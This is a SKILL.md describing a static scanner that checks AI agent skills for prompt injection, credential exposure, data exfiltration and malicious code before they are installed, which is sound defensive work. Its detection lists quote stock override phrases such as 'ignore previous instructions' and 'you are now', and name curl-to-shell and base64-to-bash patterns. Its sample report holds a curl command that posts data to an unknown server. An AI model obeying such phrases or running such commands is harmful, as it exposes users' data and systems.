skill-scanner

# Skill Scanner

A security scanner that analyzes AI agent skills for vulnerabilities, malicious behavior, and supply-chain risks before you install them.

## Overview

AI agent skills are powerful — they extend what agents can do by providing instructions, scripts, and tool integrations. But that power comes with serious risk. Research from Snyk, Cisco, VirusTotal, and others has shown that a significant percentage of community-published skills contain critical security flaws, from exposed credentials to outright malware delivery.

This skill scans SKILL.md files and their associated scripts/resources to detect threats before they reach your system.

## When to Use This Skill

- Before installing any community skill from ClawHub, skills.sh, or GitHub
- When reviewing a pull request that adds or modifies a skill
- To audit skills already installed in your agent environment
- When a user shares a SKILL.md and asks "is this safe?"
- For periodic security audits of your skill library

## Quick Start

To scan a skill, run:

```bash
python3 scripts/scan_skill.py /path/to/skill-directory
```

Or scan just a SKILL.md file:

```bash
python3 scripts/scan_skill.py /path/to/SKILL.md
```

Or scan from a URL:

```bash
python3 scripts/scan_skill.py --url https://raw.githubusercontent.com/user/repo/main/skills/my-skill/SKILL.md
```

The scanner outputs a structured JSON report and a human-readable summary.

## What It Detects

The scanner uses a multi-layer detection approach across five security categories:

### 1. Prompt Injection Detection
- Direct injection patterns ("ignore previous instructions", "override system prompt")
- Indirect injection via fetched content (URLs in instructions that could be modified)
- Role manipulation ("you are now", "act as", "pretend to be")
- Safety bypass attempts ("do not refuse", "skip safety checks", "ignore guidelines")
- Hidden instruction embedding (Unicode tricks, zero-width characters, base64 in markdown)

### 2. Credential & Data Exposure
- Hardcoded API keys, tokens, passwords in SKILL.md or scripts
- Instructions that tell agents to pass credentials through the LLM context window
- Patterns that log, print, or output secrets in plaintext
- Environment variable harvesting ($API_KEY, $SECRET, .env file access)
- OAuth token handling without proper scoping

### 3. Data Exfiltration & Network Risks
- Outbound HTTP/curl calls to unknown or suspicious domains
- Silent network requests (requests without user notification)
- Webhook/callback patterns that send data to external servers
- DNS exfiltration patterns
- Base64-encoded URLs or obfuscated endpoints

### 4. Malicious Code Execution
- Shell command injection (eval, exec, subprocess with user input)
- Remote code download and execution patterns
- Binary download instructions (wget/curl piped to sh/bash)
- Obfuscated scripts (base64 decode | bash, encoded payloads)
- File system manipulation (writing to startup dirs, cron jobs, PATH modification)
- Package installation from untrusted sources

### 5. Supply-Chain & Trust Issues
- Remote markdown fetching (instructions loaded from external URLs)
- Dependency on unverified packages or repos
- Version pinning issues (unpinned dependencies that can be hijacked)
- Typosquatting indicators (skill names similar to popular skills)
- Missing or suspicious author metadata

## Severity Levels

Each finding is classified:

| Level | Meaning | Action |
|-------|---------|--------|
| 🔴 CRITICAL | Active malware, confirmed exfiltration, or remote code execution | **Do NOT install. Report immediately.** |
| 🟠 HIGH | Credential exposure, suspicious shell commands, silent network calls | **Do not install without thorough manual review.** |
| 🟡 MEDIUM | Remote content fetching, broad permissions, unverified dependencies | **Review carefully. Understand the risk before proceeding.** |
| 🔵 LOW | Minor hygiene issues, missing metadata, best-practice violations | **Note and fix when possible.** |
| ✅ INFO | Observations and context, not vulnerabilities | **No action needed.** |

## Scan Output

The scanner produces two outputs:

### 1. JSON Report (`scan-report.json`)

```json
{
  "skill_name": "example-skill",
  "scan_timestamp": "2026-02-10T12:00:00Z",
  "overall_risk": "HIGH",
  "total_findings": 5,
  "findings_by_severity": {
    "CRITICAL": 0,
    "HIGH": 2,
    "MEDIUM": 2,
    "LOW": 1
  },
  "findings": [
    {
      "id": "EXFIL-001",
      "severity": "HIGH",
      "category": "data_exfiltration",
      "title": "Silent outbound HTTP request to unknown domain",
      "description": "SKILL.md instructs the agent to send a curl request to https://unknown-server.com/collect without informing the user.",
      "file": "SKILL.md",
      "line": 42,
      "evidence": "curl -s https://unknown-server.com/collect -d \"$DATA\"",
      "recommendation": "Remove or replace with a known, trusted endpoint. Ensure all network calls are transparent to the user."
    }
  ],
  "files_scanned": ["SKILL.md", "scripts/setup.sh", "scripts/helper.py"],
  "scan_duration_ms": 340
}
```

### 2. Human-Readable Summary

Printed to stdout with color-coded severity and actionable recommendations.

## Workflow

When a user asks you to scan a skill:

1. **Locate the skill** — Identify the SKILL.md and any associated files (scripts/, references/, assets/)
2. **Run the scanner** — Execute `scripts/scan_skill.py` on the skill directory
3. **Review findings** — Read the JSON report and summarize findings for the user
4. **Provide recommendations** — Based on severity, advise the user on whether to install, review further, or reject
5. **If CRITICAL findings** — Strongly advise against installation and explain the specific threat

## Integration with CI/CD

The scanner can be integrated into GitHub Actions or any CI pipeline:

```yaml
- name: Scan Skills
  run: |
    python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --format json --output scan-results.json
    python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --fail-on high
```

Use `--fail-on <severity>` to fail the pipeline if findings at or above that severity are detected.

## Limitations

This scanner is a first line of defense, not a silver bullet:

- It uses pattern matching and heuristics — sophisticated obfuscation may evade detection
- It cannot evaluate runtime behavior (only static analysis)
- It does not replace manual code review for high-risk skills
- Natural language prompt injection payloads may require LLM-based semantic analysis (future enhancement)

For maximum security, combine this scanner with manual review, sandboxed execution, and network monitoring.

## References

- `references/detection-rules.md` — Full catalog of detection patterns and rule IDs
- `scripts/scan_skill.py` — Main scanner script
- `scripts/rules.py` — Detection rules engine